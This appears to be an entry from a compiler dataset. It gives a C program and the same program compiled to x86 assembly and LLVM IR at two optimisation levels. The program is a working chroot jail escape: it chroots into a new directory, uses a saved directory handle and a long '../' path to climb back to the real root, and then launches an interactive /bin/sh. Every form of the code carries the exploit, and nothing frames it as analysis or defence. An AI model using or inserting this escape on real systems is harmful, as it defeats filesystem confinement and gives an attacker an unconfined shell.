#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ O_RDONLY;
scalar_t__ chdir(char *);
scalar_t__ chroot(char *);
int /*<<< orphan*/ execve(char *, char **, int /*<<< orphan*/ *);
scalar_t__ fchdir(int);
scalar_t__ mkdir(char *, int);
int open(char *, int /*<<< orphan*/);
int /*<<< orphan*/ perror(char *);
int main() {
  int fd;
  char *cmd[3];
  if (mkdir("tmp", 0777)) {
    perror("mkdir");
    return 1;
  }
  if ((fd = open(".", O_RDONLY)) < 0) {
    perror("open");
    return 2;
  }
  if (chroot("tmp")) {
    perror("chroot");
    return 3;
  }
  if (fchdir(fd)) {
    perror("fchdir");
    return 4;
  }
  if (chdir("../../../../../../../../../../../")) {
    perror("chdir");
    return 5;
  }
  if (chroot(".")) {
    perror("chroot");
    return 6;
  }
  cmd[0] = "/bin/sh";
  cmd[1] = "-i";
  cmd[2] = NULL;
  execve(cmd[0], cmd, NULL);
  perror("execlp");
  return 7;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
movl   $0x0,-0x4(%rbp)
lea    0xe7a(%rip),%rdi
mov    $0x1ff,%esi
call   1040 <mkdir@plt>
cmp    $0x0,%rax
je     11b2 <main+0x42>
lea    0xe63(%rip),%rdi
call   1090 <perror@plt>
movl   $0x1,-0x4(%rbp)
jmp    12e1 <main+0x171>
mov    0x2e2f(%rip),%rax
mov    (%rax),%esi
lea    0xe48(%rip),%rdi
call   1080 <open@plt>
mov    %eax,-0x8(%rbp)
cmp    $0x0,%eax
jge    11eb <main+0x7b>
lea    0xe32(%rip),%rdi
call   1090 <perror@plt>
movl   $0x2,-0x4(%rbp)
jmp    12e1 <main+0x171>
lea    0xe0e(%rip),%rdi
call   1030 <chroot@plt>
cmp    $0x0,%rax
je     1219 <main+0xa9>
lea    0xe09(%rip),%rdi
call   1090 <perror@plt>
movl   $0x3,-0x4(%rbp)
jmp    12e1 <main+0x171>
mov    -0x8(%rbp),%edi
call   1070 <fchdir@plt>
cmp    $0x0,%rax
je     1243 <main+0xd3>
lea    0xde6(%rip),%rdi
call   1090 <perror@plt>
movl   $0x4,-0x4(%rbp)
jmp    12e1 <main+0x171>
lea    0xdd5(%rip),%rdi
call   1050 <chdir@plt>
cmp    $0x0,%rax
je     1271 <main+0x101>
lea    0xdb9(%rip),%rdi
call   1090 <perror@plt>
movl   $0x5,-0x4(%rbp)
jmp    12e1 <main+0x171>
lea    0xd92(%rip),%rdi
call   1030 <chroot@plt>
cmp    $0x0,%rax
je     129f <main+0x12f>
lea    0xd83(%rip),%rdi
call   1090 <perror@plt>
movl   $0x6,-0x4(%rbp)
jmp    12e1 <main+0x171>
lea    0xd9b(%rip),%rax
mov    %rax,-0x20(%rbp)
lea    0xd98(%rip),%rax
mov    %rax,-0x18(%rbp)
movq   $0x0,-0x10(%rbp)
mov    -0x20(%rbp),%rdi
lea    -0x20(%rbp),%rsi
xor    %eax,%eax
mov    %eax,%edx
call   1060 <execve@plt>
lea    0xd77(%rip),%rdi
call   1090 <perror@plt>
movl   $0x7,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbx
sub    $0x20,%rsp
lea    0xe84(%rip),%rdi
mov    $0x1ff,%esi
call   1040 <mkdir@plt>
test   %rax,%rax
jne    11b7 <main+0x47>
mov    0x2e56(%rip),%rax
mov    (%rax),%esi
lea    0xe6f(%rip),%rdi
call   1080 <open@plt>
test   %eax,%eax
jns    11ce <main+0x5e>
lea    0xe61(%rip),%rdi
call   1090 <perror@plt>
mov    $0x2,%eax
jmp    11c8 <main+0x58>
lea    0xe46(%rip),%rdi
call   1090 <perror@plt>
mov    $0x1,%eax
add    $0x20,%rsp
pop    %rbx
ret
mov    %eax,%ebx
lea    0xe29(%rip),%rdi
call   1030 <chroot@plt>
test   %rax,%rax
jne    125b <main+0xeb>
mov    %ebx,%edi
call   1070 <fchdir@plt>
test   %rax,%rax
jne    1271 <main+0x101>
lea    0xe27(%rip),%rdi
call   1050 <chdir@plt>
test   %rax,%rax
jne    1287 <main+0x117>
lea    0xdfd(%rip),%rdi
call   1030 <chroot@plt>
test   %rax,%rax
jne    129d <main+0x12d>
lea    0xe1f(%rip),%rdi
mov    %rdi,(%rsp)
lea    0xe1c(%rip),%rax
mov    %rax,0x8(%rsp)
movq   $0x0,0x10(%rsp)
mov    %rsp,%rsi
xor    %edx,%edx
call   1060 <execve@plt>
lea    0xe00(%rip),%rdi
call   1090 <perror@plt>
mov    $0x7,%eax
jmp    11c8 <main+0x58>
lea    0xdaf(%rip),%rdi
call   1090 <perror@plt>
mov    $0x3,%eax
jmp    11c8 <main+0x58>
lea    0xda0(%rip),%rdi
call   1090 <perror@plt>
mov    $0x4,%eax
jmp    11c8 <main+0x58>
lea    0xd8b(%rip),%rdi
call   1090 <perror@plt>
mov    $0x5,%eax
jmp    11c8 <main+0x58>
lea    0xd6d(%rip),%rdi
call   1090 <perror@plt>
mov    $0x6,%eax
jmp    11c8 <main+0x58>

LLVM IR (-O0):
@.str = [4 x i8] c"tmp\00"
@.str.1 = [6 x i8] c"mkdir\00"
@.str.2 = [2 x i8] c".\00"
@O_RDONLY = global i32 0
@.str.3 = [5 x i8] c"open\00"
@.str.4 = [7 x i8] c"chroot\00"
@.str.5 = [7 x i8] c"fchdir\00"
@.str.6 = [34 x i8] c"../../../../../../../../../../../\00"
@.str.7 = [6 x i8] c"chdir\00"
@.str.8 = [8 x i8] c"/bin/sh\00"
@.str.9 = [3 x i8] c"-i\00"
@.str.10 = [7 x i8] c"execlp\00"
define i32 @main() {
%1 = alloca i32
%2 = alloca i32
%3 = alloca [3 x i8*]
store i32 0, i32* %1
%4 = call i64 @mkdir(i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str, i64 0, i64 0), i32 511)
%5 = icmp ne i64 %4, 0
br i1 %5, label %6, label %8
6: ; preds = %0
%7 = call i32 @perror(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.1, i64 0, i64 0))
store i32 1, i32* %1
br label %44
8: ; preds = %0
%9 = load i32, i32* @O_RDONLY
%10 = call i32 @open(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.2, i64 0, i64 0), i32 %9)
store i32 %10, i32* %2
%11 = icmp slt i32 %10, 0
br i1 %11, label %12, label %14
12: ; preds = %8
%13 = call i32 @perror(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.3, i64 0, i64 0))
store i32 2, i32* %1
br label %44
14: ; preds = %8
%15 = call i64 @chroot(i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str, i64 0, i64 0))
%16 = icmp ne i64 %15, 0
br i1 %16, label %17, label %19
17: ; preds = %14
%18 = call i32 @perror(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.4, i64 0, i64 0))
store i32 3, i32* %1
br label %44
19: ; preds = %14
%20 = load i32, i32* %2
%21 = call i64 @fchdir(i32 %20)
%22 = icmp ne i64 %21, 0
br i1 %22, label %23, label %25
23: ; preds = %19
%24 = call i32 @perror(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.5, i64 0, i64 0))
store i32 4, i32* %1
br label %44
25: ; preds = %19
%26 = call i64 @chdir(i8* getelementptr inbounds ([34 x i8], [34 x i8]* @.str.6, i64 0, i64 0))
%27 = icmp ne i64 %26, 0
br i1 %27, label %28, label %30
28: ; preds = %25
%29 = call i32 @perror(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.7, i64 0, i64 0))
store i32 5, i32* %1
br label %44
30: ; preds = %25
%31 = call i64 @chroot(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.2, i64 0, i64 0))
%32 = icmp ne i64 %31, 0
br i1 %32, label %33, label %35
33: ; preds = %30
%34 = call i32 @perror(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.4, i64 0, i64 0))
store i32 6, i32* %1
br label %44
35: ; preds = %30
%36 = getelementptr inbounds [3 x i8*], [3 x i8*]* %3, i64 0, i64 0
store i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.8, i64 0, i64 0), i8** %36
%37 = getelementptr inbounds [3 x i8*], [3 x i8*]* %3, i64 0, i64 1
store i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.9, i64 0, i64 0), i8** %37
%38 = getelementptr inbounds [3 x i8*], [3 x i8*]* %3, i64 0, i64 2
store i8* null, i8** %38
%39 = getelementptr inbounds [3 x i8*], [3 x i8*]* %3, i64 0, i64 0
%40 = load i8*, i8** %39
%41 = getelementptr inbounds [3 x i8*], [3 x i8*]* %3, i64 0, i64 0
%42 = call i32 @execve(i8* %40, i8** %41, i32* null)
%43 = call i32 @perror(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.10, i64 0, i64 0))
store i32 7, i32* %1
br label %44
44: ; preds = %35, %33, %28, %23, %17, %12, %6
%45 = load i32, i32* %1
ret i32 %45
}

LLVM IR (-O2):
@.str = [4 x i8] c"tmp\00"
@.str.1 = [6 x i8] c"mkdir\00"
@.str.2 = [2 x i8] c".\00"
@O_RDONLY = global i32 0
@.str.3 = [5 x i8] c"open\00"
@.str.4 = [7 x i8] c"chroot\00"
@.str.5 = [7 x i8] c"fchdir\00"
@.str.6 = [34 x i8] c"../../../../../../../../../../../\00"
@.str.7 = [6 x i8] c"chdir\00"
@.str.8 = [8 x i8] c"/bin/sh\00"
@.str.9 = [3 x i8] c"-i\00"
@.str.10 = [7 x i8] c"execlp\00"
define i32 @main() {
%1 = alloca [3 x i8*]
%2 = bitcast [3 x i8*]* %1 to i8*
%3 = tail call i64 @mkdir(i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str, i64 0, i64 0), i32 511)
%4 = icmp eq i64 %3, 0
br i1 %4, label %7, label %5
5: ; preds = %0
%6 = tail call i32 @perror(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.1, i64 0, i64 0))
br label %39
7: ; preds = %0
%8 = load i32, i32* @O_RDONLY
%9 = tail call i32 @open(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.2, i64 0, i64 0), i32 %8)
%10 = icmp slt i32 %9, 0
br i1 %10, label %11, label %13
11: ; preds = %7
%12 = tail call i32 @perror(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.3, i64 0, i64 0))
br label %39
13: ; preds = %7
%14 = tail call i64 @chroot(i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str, i64 0, i64 0))
%15 = icmp eq i64 %14, 0
br i1 %15, label %18, label %16
16: ; preds = %13
%17 = tail call i32 @perror(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.4, i64 0, i64 0))
br label %39
18: ; preds = %13
%19 = tail call i64 @fchdir(i32 %9)
%20 = icmp eq i64 %19, 0
br i1 %20, label %23, label %21
21: ; preds = %18
%22 = tail call i32 @perror(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.5, i64 0, i64 0))
br label %39
23: ; preds = %18
%24 = tail call i64 @chdir(i8* getelementptr inbounds ([34 x i8], [34 x i8]* @.str.6, i64 0, i64 0))
%25 = icmp eq i64 %24, 0
br i1 %25, label %28, label %26
26: ; preds = %23
%27 = tail call i32 @perror(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.7, i64 0, i64 0))
br label %39
28: ; preds = %23
%29 = tail call i64 @chroot(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.2, i64 0, i64 0))
%30 = icmp eq i64 %29, 0
br i1 %30, label %33, label %31
31: ; preds = %28
%32 = tail call i32 @perror(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.4, i64 0, i64 0))
br label %39
33: ; preds = %28
%34 = getelementptr inbounds [3 x i8*], [3 x i8*]* %1, i64 0, i64 0
store i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.8, i64 0, i64 0), i8** %34
%35 = getelementptr inbounds [3 x i8*], [3 x i8*]* %1, i64 0, i64 1
store i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.9, i64 0, i64 0), i8** %35
%36 = getelementptr inbounds [3 x i8*], [3 x i8*]* %1, i64 0, i64 2
store i8* null, i8** %36
%37 = call i32 @execve(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.8, i64 0, i64 0), i8** %34, i32* null)
%38 = call i32 @perror(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.10, i64 0, i64 0))
br label %39
39: ; preds = %33, %31, %26, %21, %16, %11, %5
%40 = phi i32 [ 1, %5 ], [ 2, %11 ], [ 3, %16 ], [ 4, %21 ], [ 5, %26 ], [ 6, %31 ], [ 7, %33 ]
ret i32 %40
}